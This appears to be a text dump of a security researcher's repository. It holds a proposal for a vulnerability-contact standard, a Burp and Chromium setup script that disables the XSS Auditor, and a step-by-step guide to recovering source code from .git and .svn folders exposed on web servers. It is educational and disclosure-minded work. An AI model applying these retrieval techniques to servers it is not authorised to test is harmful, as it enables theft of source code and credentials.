Full Code of bl4de/research for AI

master 3a09ddab1b5e cached
29 files
1.5 MB
590.4k tokens
408 symbols
1 requests
Download .txt
Showing preview only (1,627K chars total). Download the full file or copy to clipboard to get everything.
Repository: bl4de/research
Branch: master
Commit: 3a09ddab1b5e
Files: 29
Total size: 1.5 MB

Directory structure:
gitextract_qrnb0wck/

├── .gitignore
├── README.md
├── VACS-draft.md
├── burp-chromium-setup/
│   └── README.md
├── hidden_directories_leaks/
│   └── README.md
├── how_to_deal_with_dupes/
│   └── hot_to_deal_with_dupes.md
├── javascript-malware-obfuscation/
│   ├── Simple_JavaScript_malware_code_obfuscation_examples.md
│   ├── do_not_run.js
│   └── do_not_run_deobfuscated.js
├── npm-static-servers-most-common-issues/
│   └── npm-static-servers-most-common-issues.md
├── params.json
├── pwnlab-walkthrough-INCOMLETE.txt
├── raa-ransomware-analysis/
│   ├── README.md
│   ├── execution-flow-chart.txt
│   ├── extracted/
│   │   ├── dec_cmd_decrypted.js
│   │   ├── extracted_rtf.rtf
│   │   ├── file01
│   │   └── file01_part.xml
│   └── work/
│       ├── test.js
│       ├── tmp.js
│       ├── tmp2.js
│       └── tmp3.js
├── simple-markdown-playground/
│   ├── react-dom.js
│   ├── react.html
│   ├── react.js
│   └── simple-markdown-modified.js
└── snippets/
    ├── from_shell_injection_to_root.txt
    ├── mysql_loadintooutfile_backdoor.txt
    └── rpc.txt

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
hidden_directories_leaks/assets.zip
snippets/sqlite_sqlinjection_research.txt
.idea/
*/**/.idea



================================================
FILE: README.md
================================================

#### Most common security vulnerabilities in npm static content/file servers modules

https://github.com/bl4de/research/blob/master/npm-static-servers-most-common-issues/npm-static-servers-most-common-issues.md



#### Hidden directories and files as a source of sensitive information about web application

Some analysis about how to get information about web application from folders like _.git_ , _.idea_ and similar.
https://github.com/bl4de/research/tree/master/hidden_directories_leaks

As a part of this, I'm working on tool (in Python) to extract data from revealed Git repositories:

https://github.com/bl4de/security-tools/tree/master/diggit



#### RAA Ransomware JavaScript code analysis

Detailed, step-by-step analysis of RAA ransomware, created entirely in JavaScript

https://github.com/bl4de/research/tree/master/raa-ransomware-analysis



#### Simple JavaScript malware code deobfuscation walkthrough

JavaScript malware code deobfuscation step-by-step walkthrough

https://github.com/bl4de/research/blob/master/javascript-malware-obfuscation/Simple_JavaScript_malware_code_obfuscation_examples.md





================================================
FILE: VACS-draft.md
================================================
July, 2016

## Introduction

We're living in the Net. All our data, communication, money, work, almost everything depends on billions of zeros and ones traveling all around the world in every single second. We're living in information age and there's no doubt it will be changing our lives more and more in the nearest future.

But there's also different story. There are thousands of people trying to steal those data and use them to do bad things. Cybercrime is raising, like never before, and we all should do something to stop this.

Things already started to change. Companies like Google, Yahoo!, Mozilla, Microsoft and many others actively support IT Security community providing Bug Bounty programs, looking for software vulnerabilities and sharing knowledge. Conferences like DefCon, BlackHat, CanSecWest, OWASP AppSec and many others all around the world allow people to learn and share information, experience, tools and even more knowledge.

Couple of years ago, a new popular way to improve IT security emerged. Bug bounty platforms, like HackerOne, BugCrowd, Synack and Cobalt started to attract companies to run their own Bug Bounty programs.

There are hundreds of bug bounty programs running right now with many more to come in the next years. In those programs, thousands of Ethical Hackers, both professional and amateur, young and old, advanced and beginners, men and women, looking for bugs in software, websites, web applications and helping to fix security issues. They are all working for safer web and safer software. They helped to fix tens of thousands security issues so far, providing safer web for all of us.

But unfortunately this is not enough. There are millions of websites and web applications in the Internet right now. And as the recent report from Acunetix points - approximately 55% of 45,000 websites (more than a half of forty five thousands) contain at least one serious vulnerability (XSS, SQLi, Remote Code Execution, Local File Include, Remote File Include). And, what is more important, there's almost 9% more than in 2015.

As 45,000 is a quite big probe, we can assume that this problem exists in larger scale as well.

**This is just a disaster. Couple of weeks ago World Wide Web celebrated its 25th Anniversary. And after 25 years - we're still not able to provide secure websites**


## What is this all about, really?

Information. Why so many websites are still so vulnerable? The reason is relatively simple. I found that **in many cases the problem is that website owner simply don't know about vulnerability in their own website**. And this is one thing we should change as soon as possible.

Let's be honest - in many cases everything starts from relatively simple level. Let's take a look at some examples: 

- outdated software like not patched CMS or online e-commerce engine 
- "selfmade" CMS system with simple SQL Injection, Remote Code Execution or similar high risk vulnerability
- Stored XSS vulnerability allowing to steal website administrator credentials and gain access to admin panel 
- Reflected XSS which allows to inject malware via phishing attack 
- weak credentials for remote server access, easy to bruteforce, dictionary attack or just trivial to guess
- left folders from Git, SVN or any other source version control system repository, which allows to download and read source code
- Local File Include vulnerability giving access to website source code contains database credentials
- administration panels hidden behind "secret" urls or with very weak credentials (again, easy to guess, bruteforce or exploit with dictionary attack)

All vulnerabilities above have couple of things in common:

- they are relatively simple to find and prevent
- they are also **very simple to find by cybercriminals too**
- they are **very easy to exploit**

This is not a rocket science and every day I am surprised I can find any of those listed vulnerabilities in just couple of minutes. I did some experiment recently and started to look for vulnerable websites during my lunch break (~30 mins), based on simple Google dorks. I was able to find from five to even twenty vulnerable websites while eating my sandwich (XSS, SQL Injection and LFI were the Top 3).


When I find problem in my code, I'm resolving it. If it's a security problem, I'm resolving it even faster.

**If I find security problem in someones else code, I'm trying to inform the right person immediately to allow them to fix their code.**

In almost every single case, **the problem is that I don't know who exactly I have to or should to notify**. I dig around, obviously 'Contact' and 'About us' are the first places I go. Sometimes I find email like _info@companyname.com_, if I am lucky it's even better, like _webmaster@companyname.com_


If I find something like this, I send my standard notification email where I introduce myself with my full name and surname, what I do and why I contact. 
Then, I nicely ask about contact information to responsible person which I can provide Proof of Concept of vulnerability, screenshots (if needed) and all technical information about vulnerability I've just found. I do this because I care about web security and I want to help. Really. This is how I can help to make web better and safer place. This is one of many ways I am doing this.

Almost in every case I'm trying to provide sample scenario how vulnerability can be used by cybercriminals (eg. phishing attack or maybe even data breach)

**My notification email to response ratio is about 20 to 1.
Yes, for every twenty emails sent with vulnerability description I'm receiving approximately one response. If any.**

Another problem occurs when I just can't find any contact information on the website. In such cases I start to dig for social media accounts, like Twitter or Facebook and try to reach someone using one, if found.

So far, it's even worse than emails. **Almost nobody responses using this communication channel even if I see that account is active and fresh tweet or post on Facebook appeared online an hour or day earlier**


## Let's summarize problems we found so far

In typical website, either private or corporate, two or three problems occur:

#### Problem number one

I can not find any IT stuff contact information even if this is very big, well known brand (company), except some _webmasters@company.com_ from almost always I did not get any response anyway, so it's totally useless.

#### Problem number two

Nobody really cares about what I found. And this is even bigger problem than the first one, because it is a proof that IT Security is **not important** for website owner and I suppose it's not a problem with their website only but with whole IT infrastructure. Nowadays, where cybercrime is a real threat - it's incomprehensible.

I'ts **stupid**, it's **ignorance**, it's **lack of basic knowledge of security**

#### Problem number three

This one is specific for big companies. 

Internal procedures. Exchange information between departaments. Find the right people to do the right job. 

The truth is that meetings, conference calls, Excel spreadsheets and "Judy from HR has a new boyfriend" in the kitchen - **they all do not resolve any problems**. Information like mine get stuck somewhere between PR, Marketing and this strange guy from IT which nobody knows, because he is quiet and does not go to company Friday Lunches - somewhere in the middle of Big Company Nowhere.



## Vulnerability Alert Contact Standard proposition

In the last couple of years lot of things in security have changed in web browsers and HTML5 specification.

CORS prevents website from JavaScript access from other domains. HTTPS is now forced to be default way to communicate between client and server and HSTS header does its job here. XSS Auditor engines in WebKit/Blink-based browsers defends users against obvious XSS attack vectors. Content Security Policy provides a simple way to define scope for resources like JavaScript, CSS and media external sources as well as rules for executing inline JavaScript code. Cookies become more secure thanks to HTTP Only and Secure flags. 

All the things seemed to be moving to the right direction.

But in case of vulnerability still one thing left to be done - someone has to be notified about one to be aware of it and fix it. So far, the best way to do this is by dedicated contact information provided. LinkedIn's https://security.linkedin.com/vulnerability-disclosure is one of examples. Running bug bounty program on platforms like mentioned earlier HackerOne or BugCrowd is even better.

But we're not talking about such companies.
We're talking about hundreds of thousands of others.


My proposition is to provide **Vulnerability Alert Contact Standard** specification, which will allow to setup contact information **in case of vulnerability report only** in form of standard HTML meta tag or custom server HTTP response header (like X-XSS-Protection), dedicated email address (similar to _abuse@companyname.com_) or any other contact form.

**My idea is something like 112 (or 911 in US) phone number** - if there's something wrong going on, you just pick up the phone and call that number. **VACS should be something you can use when there is something wrong (from security perspective) with the website you're visiting**


## Technical details of VACS standard

### HTTP Respone header

First way to provide VACS contact details is to send dedicated HTTP header in server response.

We already have something similar. This is **Content-Security-Policy-Report-Only** HTTP header and it does exactly what its name points to - in case of violation of Content Security Policy rule this header provides ```report-uri``` property, where report should be sent by the browser.

In the same way VACS header(s) could be provided:

```
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Vulnerability-Alert-Contact: a.smith@companyname.com
```

To prevent from less sophisticated spam attacks, format of email address in header could be defined in two separate fields:

```
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Vulnerability-Alert-Contact: a.smith
Vulnerability-Alert-Contact-Domain: companyname.com
```

In this scenario full VACS email address will be:

```
a.smith@companyname.com
```

Domain header also could be simplified just by directive ```same-domain```, which points to website domain:

```
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Vulnerability-Alert-Contact: a.smith
Vulnerability-Alert-Contact-Domain: same-domain
```

In this scenario full VACS email address for https://google.com will be composed to following one:

```
a.smith@google.com
```

### HTTP <meta> tag

Another way to provide VACS contact could be implemented as HTML ```<meta>``` tag in ```<head>``` section.

The meaning of this tag is exactly the same as in HTTP header:

```HTML
<html>
<head>
	<title>My Website</title>
	<meta name="Vulnerability-Alert-Contact" content="a.smith"></meta>
	<meta name="Vulnerability-Alert-Contact-Domain" content="companyname.com"></meta>
</head>


<body>
(...)
```

The same example with ```same-domain``` directive:

```HTML
<html>
<head>
	<title>My Website</title>
	<meta name="Vulnerability-Alert-Contact" content="a.smith"></meta>
	<meta name="Vulnerability-Alert-Contact-Domain" content="same-domain"></meta>
</head>

<body>
(...)
```


## Why is this so important for me? And should be for you as well?

On 20th of September, Casey Ellis from TechCrunch published very interesting article about vulnerability reporting in medical devices.

Most of his article is focused on those devices, but there are couple of universal thoughts valid for IT Security in general:

> Vulnerability disclosure ethics are an inherently murky area. There are countless vulnerabilities that exist unpatched in software systems,(...)

> Ideally, vulnerabilities are discovered when the vendor learns about them through their own testing or through the help of
> security researchers operating under a “Coordinated Disclosure” or bug bounty model. Other times, vulnerabilities found are 
> kept secret, and used for attack, unbeknownst to the manufacturer or their users. Then there’s what is called “Full 
> Disclosure,” where discovered vulnerabilities are simply disclosed to the public, sometimes before the vendor has had the 
> opportunity to respond. These three scenarios are status quo for disclosure.


(source: https://techcrunch.com/2016/09/20/hacking-for-investor-profit/ by Casey Ellis, TechCrunch)


But more important from my point of view is this fragment:


> Full Disclosure is most frequently chosen out of frustration at a slow response or bad communication by the impacted 
> organization. The risk of Full Disclosure can be mitigated by organizations, firstly by taking whatever steps are necessary 
> to identify and fix vulnerabilities in the first place, then by establishing clear channels and expectations between security 
> researchers and vendors around newly identified ones.


**Full Disclosure is most frequently chosen out of frustration at a slow response or bad communication by the impacted organization** - this is what you can expect when you ignore Security Reseacrher(s) and their reports about vulnerability found in **your software or website**. Full Disclosure menas someone with not the best intentions can easily use vulnerability **against** your company and causes real problems. Money problems. Your money problems.

**The risk of Full Disclosure can be mitigated by organizations, firstly by taking whatever steps are necessary to identify and fix vulnerabilities in the first place...** - that's why Security Reseacrhers and Ethical Hackers send you notifications about vulnerabilities found in your websites, software, network infrastructure and so on. It's like your good neighbour telling you that you left your window open in the morning, when you was leaving your house going to work. What would you do then? Ignore him? Send him a letter with "Thank you!" a week later? 

Or would you rather go back immediately, close the window and say something like "Hey, thanks Joe! Have a nice day, I own you a beer!" or something similar?

**... by establishing clear channels and expectations between security researchers and vendors around newly identified ones**
Again, this is all about this post is.

Communication channel allowing anyone to report vulnerability found in **your** software.


## What we can do today?

Not much to be honest. Beside all websites currently having any type of bug bounty programs or similar, there is nothing called "good practice" to drop somewhere contact information for security issues.

So, **if you are web developer and you care about website you've created**:

- place somewhere in the source code, in comment (it can be even CSS or JavaScript file, but ideally if it will be at the beginning or the end of HTML) email address and short note what is this email for, like in example:

```HTML
	(...)
	<footer>Copyrigth BlaBla 2016</footer>
	<!-- any vulnerability found please report to: a.smith@companyname.com Thank you! -->
</body>
</html>

```

- @EdOverflow (https://twitter.com/EdOverflow) maintains a project __Security.txt__ - dedicated file like robots.txt, but for security related issues:

> Security.txt is a standard that allows websites to define security policies. This standard sets clear guidelines for security researchers for how to report security issues and allows bug bounty programs to define a scope. Security.txt is the equivalent of robots.txt, but for security issues.

Example security.txt file contains information as follows:

```
# In scope targets
In-scope: *.example.com

# Out of scope targets
Out-of-scope: test.example.com

# Out of scope vulnerabilities
Out-of-scope-vuln: Clickjacking

# Our security address
Contact: security@example.com

# Our HackerOne program
Platform: https://hackerone.com/example
```

You can read more about his project here https://github.com/EdOverflow/security-txt

- use ```contribute.json``` provided by **Mozilla** and add following JSON:

```JOSN

//schema:

"bugs": {
    "properties": {
        "list": {
            "type": "string"
        }, 
        "mentored": {
            "type": "string"
        }, 
        "report": {
            "type": "string"
        }
    }, 
    "type": "object"
}

// example of use (source: https://github.com/mozilla/contribute.json):

"bugs": {
	"list": "https://bugzilla.mozilla.org/buglist.cgi?query_format=advanced&bug_status=UNCONFIRMED&bug_status=NEW&product=www.mozilla.org",
	"report": "https://bugzilla.mozilla.org/enter_bug.cgi?product=www.mozilla.org&component=Bedrock",
	"mentored": "https://bugzilla.mozilla.org/buglist.cgi?f1=bug_mentor&o1=isnotempty&query_format=advanced&bug_status=NEW&product=www.mozilla.org&list_id=10866041"
}
```    
You can find all details about this here: https://www.contributejson.org/


## Needs some inspiration?

If you think about putting such information and you wonder how to do this, I present some great, real world examples below.

#### Jet.com - an online store

Jet.com already provides bug bounty program on Bugcrowd and communicates it clearly in its HTML source:

```html
<!--

        9ååååå\          .ÖååååΓⁿ       
       xååååååå          φååååååå       
        ╘Öååå0.           q4åå@n        Hello from Hoboken,
                                        
                         ¬çççççç²       We <3 curious people!
                         =ååååååS       
                         =ååååååS       
                         =ååååååS       
        ìììììì=          =ååååååS       Working at Jet
        åååååå#          ⌠ååååååm       https://jet.com/careers
        ååååååå"         Γåååååå~       
        .ååååååå½l'  .:xååååååå(        
          Çåååååååååååååååååå4¬         Responsible Disclosure
            ²╚åååååååååååå╪≥.           https://bugcrowd.com/jet
                'ⁿ»|!l,~                

-->
```



## Who else takes care about this?

List below contains companies which understand the problem and treat it seriously.
If you know any company I should put on this list as well, just let me know.

**Twitter** (https://dev.twitter.com/overview/general/security-best-practices)

> Have you set up security@yourapplication.com? Do those emails go right to your phone? Make it easy for people to contact you about potential security issues with your application. If someone does report a security flaw to you, be nice to them; they’ve just done you a huge favor. Thank them for their time and fix the issue promptly. It’s fairly common for security researchers to write about vulnerabilities they’ve discovered once the hole has been closed, so don’t be upset if your application ends up in a blog post or research paper. Security is hard, and nobody is perfect. As long as you’re fixing the issues that are reported to you, you’re doing right.


## Thoughts?

If you'd like to talk about my idea, why it's bad (or good, I hope), what should I change, remove or add - just ping me on Twitter (https://twitter.com/_bl4de) or send an email (bloorq (AT) gmail.com).

I'll try to keep this page up-to-date as long as there will be any feedback and reason to do this.

## Resources

Here you can find some links to resources I've mentioned in this writeup. There are not about my idea, but they provide good background to understand the problem and everyone, not only IT Security professionals, should care about web security.


- Acunetix Web Application Vulnerability Report 2016 http://www.acunetix.com/acunetix-web-application-vulnerability-report-2016/
- Acunetix Web Application Vulnerability Report 2015 http://www.acunetix.com/acunetix-web-application-vulnerability-report-2015/
- OWASP Open Web Application Security Project https://www.owasp.org/index.php/Main_Page
- "Hacking for investor profit" by Casey Ellis (TechCrunch, posted on 20th Sept. 2016) https://techcrunch.com/2016/09/20/hacking-for-investor-profit/





================================================
FILE: burp-chromium-setup/README.md
================================================
## Burp Suite and Chromium setup how-to

This is quick how-to presents my way to configure Chromium web browser to work with Burp Suite HTTP Proxy.

### Why Chromium

As a full time, Full Stack Web Developer I use Chromium-based browsers and runtimes (Chromium, Chrome, Opera, node) all the time in my daily work. I found Developer Tools build in all of those products the most easy, flexible and powerful developer tools ever.  

Also, Chrome Developer Tools team constantly works on various improvements and big community ships a lot of plugins, which are easy to install and can be easily integrate into Chrome Developer Tools panels. Plugins are available for such frameworks like Angular or React (to name a few) - for web developer they are very useful tools, but not only for them.

From web application security researcher point of view, those browsers have one big disadvantage. There is no simple way to set up Burp as proxy just for them, not for the whole system.

Actually only one browser allows you to do that and it's Firefox, first choice for many penetration testers because of easy way to set up Burp as proxy just for Firefox using Network/Advanced settings. 

Unfortunately, Firefox is very slow and its developer tools are far less advanced than in Chromium/Chrome/Opera.

Solution for this was to create simple console script with couple of additional options. I'm using this script not only to run Chromium with proxy set to Burp, but also to disable XSS Auditor while testing website or web application for XSS vulnerabilities.

But let's start from Burp Suite first.

## Set up Burp Suite

Burp Suite Free Edition is one of the best tool any not professional penetration tester, bug hunter or web application security eager (like me) can get (Thanks Portswigger!!!).

You can download Burp Suite from this url:

https://portswigger.net/burp/download.html

After installation run Burp Suite and go to Proxy->Options tab and in Proxy Listeners set up your local address and port you want to use (it can be any available port above 1024 well known ports, 8080 is just set by default)

![Proxy settings](assets/proxy1.png)

If you are not familiar with Burp - 'Getting Started With Burp Suite' is likely the best place you can start from:

https://portswigger.net/burp/help/suite_gettingstarted.html


### Set up Chromium

Chromium, web browser based on Blink HTML engine and V8 JavaScript engine (used also by Chrome, Opera and node projects) can be downloaded from here:

https://download-chromium.appspot.com/

Builds are available for all major platforms (OSX, Linux, Android and Windows)

![Chromium download page](assets/chromium.png)

As you can see, there is always the newest build available. That's fine, because we don't want to use Chromium as our main web browser or even for testing web applications for our clients (if you're web developer you are already aware of this, aren't you? ;) )

What we want is the newest compilation of Chromium Developer Tools to be able to use it while doing our web application penetration testing or bug bounty stuff.

When you run Chromium, you can open its Developer Tools just by clicking F12 on Windows and Linux or CMD+ALT+i on OSX:

![CDT](assets/dt1.png)

There are plenty of options available and what I recommend is just to go to this website:

https://developer.chrome.com/devtools

You can find there everything you will need to become familiar with Chromium Developer Tools.

### Run Chromium with Burp Suite as HTTP Proxy

Now, when we have both Chromium and Burp set up, it's time to run them as one, perfect web application killing machine :)

Here is my Bash script I am using to run Chromium using Burp as proxy:

```bash
#!/bin/bash
#
# see available options:
# http://peter.sh/experiments/chromium-command-line-switches/
#
# 8080 - is a standard port for Burp
# To disable XSS Auditor in Chromium simply put 0 as second argument, any other value leaves XSS Auditor enabled
#

echo
echo "Usage: chromium [port] [enable xss Auditor]"
echo " example:"
echo " $ chromium 8080 1 - runs Chromium listening on 8080 and XSS Auditor enabled"

# default settings
xss_auditor=""
port=""

if [ $1 -ne 80 ]; then
	port="--proxy-server=127.0.0.1:$1"
fi

if [ $2 == 0 ]; then
	xss_auditor="--disable-xss-auditor"
fi

echo "[+] running ./Chromium $port $xss_auditor"

# update those lines to your system specific path:
cd /Applications/Chromium.app/Contents/MacOS
./Chromium $port $xss_auditor

```

Depends on operating system you are using and path to directory where you have installed Chromium you have to modify last two lines (go to directory with Chromium and run Chromium with chosen options).

There are two options available in this script (of course you can modify it as you want).

First, you may want to pass port number for proxy. So, if you set up Proxy listener port in Burp as 9999, this is the value you have to put in script as the first argument.

Second one is a flag to disable Chromium XSS Auditor. XSS Auditor is a build in XSS prevention tool in all Chromium based browsers (Chromium, Chrome and Opera) and it prevents user from some of less sophisticated XSS payloads.

From penetration tester or bug bounty hunter point of view it's nice to have an option to disable this prevention. In script above, if you pass 0 - you disable XSS Auditor, any other value leaves it enabled.

Here's sample of complete command to run Chromium with proxy litening on 8080 port and XSS Auditor disabled (```chromium``` is name of script I am using):

```bash
$ chromium 8080 0

Usage: chromium [port] [enable xss Auditor]
 example:
 $ chromium 8080 1 - runs Chromium listening on 8080 and XSS Auditor enabled
[+] running ./Chromium --proxy-server=127.0.0.1:8080 --disable-xss-auditor
```

![Burp and Chromium](assets/burp_with_chromium.png)

## Summary

Of course if you are not a fan of console scripts, Bash and all this stuff, you can still run Chromium with all those features (proxy, XSS Auditor disabled) simply by running this command:

```
path_to_chromium_folder/Chromium --proxy-server=127.0.0.1:8080 --disable-xss-auditor
```

There are a lot of other options which can be set while running Chromium. One of the best list of them I found is on this website:

http://peter.sh/experiments/chromium-command-line-switches/


If you have any questions just ping me on Twitter (https://twitter.com/_bl4de) or send me an email to bloorq[at]gmail[dot]com.

Happy hacking!!!

Rafal 'bl4de' Janicki



================================================
FILE: hidden_directories_leaks/README.md
================================================
# Hidden directories and files as a source of sensitive information about web application

Hidden directories, left accidentally (or not) on the server, might be a very valuable source of sensitive data leaks.
There's a lot of hidden directories: source code version systems folders and files (.git, .gitignore, .svn), any of .rc files (.npmrc, package.json, .htaccess), any not standard configuration files with common extensions, like config.json, config.yml, config.xml and many others.

There's a lot of web servers where there's no problem to find such files with a lot of sensitive information. Let's take a look at them in more details.

# Table of Contents

- [Source code version control systems](#source-code-version-control-systems)
	- [Git](#git)
	- [Subversion](#subversion-svn)
- [IDE project files](#ide-project-files)
	- [JetBrains IntelliJ, PHPStrom, WebStorm](#jetbrains-ides---intellij-webstorm-phpstorm)
	- [NetBeans](#netbeans-ide)
	- [ActiveState Komodo IDE](#activestate-komodo-IDE)
- [Developer Tools configuration files](#developer-tools-configuration-files)
- [Recommended tools](#recommended-tools)


# Source code version control systems

## Git

Git is "(...)a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency (https://git-scm.com/)". With GitHub.com web service it's one of the most popular source code version control system right now, especially in open source world. Also, a lot of companies use its own GitHub-like service (Gitlab - see https://about.gitlab.com/).

### Basic information about Git objects

Newly created Git repository contains some default folder and files, where all information are stored. Here's sample .git folder, with one commit done.

![.git folder structure with single commit](assets/git_directory_structure.png)	

Let's take a look at this from attacker point of view. Git repository content is written in objects. All of them are stored in .git/objects folder. 

Objects can be one of three types: _commit_, _tree_ and _blob_. 

*_Commit_* is an information about commit, with current tree (folders and files structure) object hash.

*_Tree_* contains information about folders and files structure - and every single folder or file has its own object hash stored in tree object. It might be another tree (folder which is one level down in the folders structure) or file.

*_Blob_* is Git object type where files content are saved. In other way - if you know an object hash of the particular file, you can read content of this file using *git cat-file* command.

When you find .git folder on web server, there's simple way to get content of any file, just by downloading and reading Git objects. To make sure that .git folder is available just check if you get HTTP 403 response (or similar, but not 404, because it means there's no .git folder on this server or in this location):


![.git repository found on the server](assets/how-to-find.png)	



### Reflecting remote files and folders using local Git repository


To be able to do this, you have to create your own, local dummy .git repository with skeleton folder structure and download Git objects from remote server.

First, create dummy Git folder:

```
$ git init
```

This will initialize empty Git repository with all required files and folders.


### Retrieving and reading information about objects

To start retrieving information from Git repository, first we have to find starting point. Git saves all information in log file and this file is available at _.git/logs/head_


![.git/logs/file example](assets/git_logs_head_file.png)


If _.git/logs/head_ does not work, but _.git_ returns Forbidden 403, which means it's there, try _.git/logs/HEAD_ instead



Let's take a look a little bit closer to sample line of this file:

```
0000000000000000000000000000000000000000 07603070376d63d911f608120eb4b5489b507692 
bloorq@gmail.com <bloorq@gmail.com> 1452195279 +0000	commit (initial): index.php initial commit
```

First two strings are object hashes (previous and current commit) - and this is exactly what we are looking for.
As this is the very first commit, first hash contains only 0 (it's dummy one), but second one contains informations about commit.

First we have to create valid path to object. Path contains common path to all objects in repository, which is _.git/objects_ and then there are two parts build from hash - a directory name (first two signs from hash) and filename (rest of it). So to get object identified by hash 07603070376d63d911f608120eb4b5489b507692, we should try to retrieve following url:

_localhost/testapp/.git/objects/07/603070376d63d911f608120eb4b5489b507692_


And - here we are - file download popup:

![Downloading object file](assets/download_object_file.png)

Remember - you have to save this file in your dummy Git folder created earlier - this is the simplest way to be able to read content of Git objects. So make sure that you saved it in exactly the same location:

_path-to-your-dummy-git-repository/.git/objects/07/603070376d63d911f608120eb4b5489b507692_

To check the type of object, you can use following command:

```
$ git cat-file -t <hash>
```

To display the content of the object, use this command:

```
$ git cat-file -p <hash>
```

Now, we can check the type and read content of saved object (I'm doing this on original repository on my localhost, but you will get exactly the same result on your machine for any Git repository - the hash is the key :) )

![Execute Git cat-file commands on downloaded object](assets/git-commands.png)


When you look at commit description, you can find an information about actual tree object hash - as I mentioned earlier, tree contains information about current folder structure. Using the same method as above it's simple to see how it looks like:


![Current repository files structure](assets/git-commands-2.png)


We're very close. As you can see, currently there's only one file, _index.php_, and also we know its object hash and type, which is _blob_. And this is what we need to see content of file using the same method as we've used to read content of _commit_ and _tree_ objects before (first you have to download object from web server, as described above):

![index.php content](assets/git-commands-3.png)


Voila!

Now it is important to remember that this is content of _index.php_ as it was when commit described by object 07603070376d63d911f608120eb4b5489b507692 was done. If you take a look at log file, you can see that there was second commit (identified by object hash 4db7a14eee2cd3ff529278b75e1653e677fe1d02) and as it is last commit - it contains all last changes - maybe content of _index.php_ differs from what we have seen so far?

Following all steps (read commit content to find tree hash, then read tree to find index.php hash and so on), we will see actual content of _index.php_:

```
bl4de on Rafals-MacBook in /Library/WebServer/Documents/testapp $ git cat-file -p a4215057b6545240452087ad4d015bf9b5b817c5
<?php
echo "Hello testapp!";

$i = 100;
echo "Value of i is $i";

bl4de on Rafals-MacBook in /Library/WebServer/Documents/testapp $ 
```

Because manual object retrieving is not efficient and very time consuming, I've created simple console tool in Python to automate this process. You can take a look at in here:

https://github.com/bl4de/security-tools/tree/master/diggit



### .gitignore file

There's also one thing worth to mention if we've found .git folder abandoned on web server - .gitignore file. The purpose of this file is simple - it is the place where you can define all folders and files which should NOT be committed into repository - but it does not mean that they are not there ;) (there are just not exists as a part of Git repository, that's all). So it's the simplest way to spot all content which can not be find in the way described above.


![Sample .gitignore file](assets/sample-gitignore.png)


## Subversion (SVN)

Subversion (or SVN, https://subversion.apache.org/) is another very popular source code version control system created by Apache Software Foundation and it is still very popular and widely used.

Sample structure of SVN folders and files looks like following example:

![Sample .snv directory](assets/svn_tree.png)

From our point of view, the most important are _SQLite_ database _wc.db_ file and content of _pristine/_ directory. In _wc.db_ we will find hashes used as filenames in _pristine/_, so we have to start from this file.

To get information from Subversion, first we need to make sure that _wc.db_ file is available. Try to open following path in your web browser:

```
http://server/path_to_vulnerable_site/.svn/wc.db
```

If you get download popup - it means there's a chance that the rest of _.svn_ files will be there. First, we need to read content of _wc.db_ to get an information about files hashes (there is no _.logs_ directory here, like it was in Git repository described above).

To read content of _wc.db_, I use SQLite console client, by you can use anything you want.

```bash
$ sqlite3 wc.db 
SQLite version 3.8.10.2 2015-05-20 18:17:19
Enter ".help" for usage hints.
sqlite> .databases
seq  name             file                                                      
---  ---------------  ----------------------------------------------------------
0    main             /Users/bl4de/hacking/playground/wc.db                     
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE REPOSITORY (   id INTEGER PRIMARY KEY AUTOINCREMENT,   root  TEXT UNIQUE NOT NULL,   uuid  TEXT NOT NULL   );
INSERT INTO "REPOSITORY" VALUES(1,'svn+ssh://192.168.1.4/var/svn-repos/project_wombat','88dcec91-39c3-4b86-8627-702dd82cfa09');

(...)

INSERT INTO "NODES" VALUES(1,'trunk',0,'',1,'trunk',1,'normal',NULL,NULL,'dir',X'2829','infinity',NULL,NULL,1,1456055578790922,'bl4de',NULL,NULL,NULL,NULL);
INSERT INTO "NODES" VALUES(1,'',0,NULL,1,'',1,'normal',NULL,NULL,'dir',X'2829','infinity',NULL,NULL,1,1456055578790922,'bl4de',NULL,NULL,NULL,NULL);
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
INSERT INTO "NODES" VALUES(1,'trunk/test2.txt',0,'trunk',1,'trunk/test2.txt',3,'normal',NULL,NULL,'file',NULL,NULL,'$sha1$6f3fb98418f14f293f7ad55e2cc468ba692b23ce',NULL,3,1456056740296578,'bl4de',27,1456056696000000,NULL,NULL);

(...)
```

See INSERT operations to NODES table? Each of them contains filename and SHA1 hash, which corresponds to entry in _pristine/_ folder:

```bash
$ ls -lA pristine/94/
total 8
-rw-r--r--@ 1 bl4de  staff  38 Feb 21 12:05 945a60e68acc693fcb74abadb588aac1a9135f62.svn-base
```

To map value from NODES to filename, we need to:
- remove _$sha1$_ prefix
- add _.svn-base_ postfix
- use first two signs from hash as folder name inside _pristine/_ directory (94 in this case)
- create complete path, which will be:


```
http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base
```

When we try to open this path in the browser, we should be able to download file or display its content directly in browser:


![How to read content of file](assets/svn_read_file.png)

Also, an entry in REPOSITORIES table point to original repository path, which is:

```
svn+ssh://192.168.1.4/var/svn-repos/project_wombat
```

There's a lot of information here. Leaving _.svn_ folder on the web server is a huge mistake and can be very dangerous and it means full compromise of web application source code.


# IDE project files

IDE (Integrated Development Environment) used by many of developers have one in common - they save project's settings and a lot of additional information in their own files, created for each project separately. If such folder has been left on web server - this is yet another source of information about web application.

Let's take a look a little bit closer and as example we use my favorite JetBrains products (https://www.jetbrains.com/).


## JetBrains IDEs - IntelliJ, WebStorm, PHPStorm


Every project developed with one of JetBrains product creates its own hidden directory, _.idea/_.
This directory contains all information about project, files, directories and IDE settings.



![sample .idea directory](assets/idea_tree.png)


One of those files is extremely valuable from Security Researcher point of view. _workspace.xml_ contains a lot of useful information, which allows to enumerate all files and folders, source version control system information and many others.

We spot them step by step:

```xml
<?xml version="1.0" encoding="UTF-8"?>
	(...)
	<component name="FileEditorManager">
	    <leaf>
	      <file leaf-file-name="README.md" pinned="false" current-in-tab="false">
	        <entry file="file://$PROJECT_DIR$/README.md">
				(...)
	</component>
(...)
```
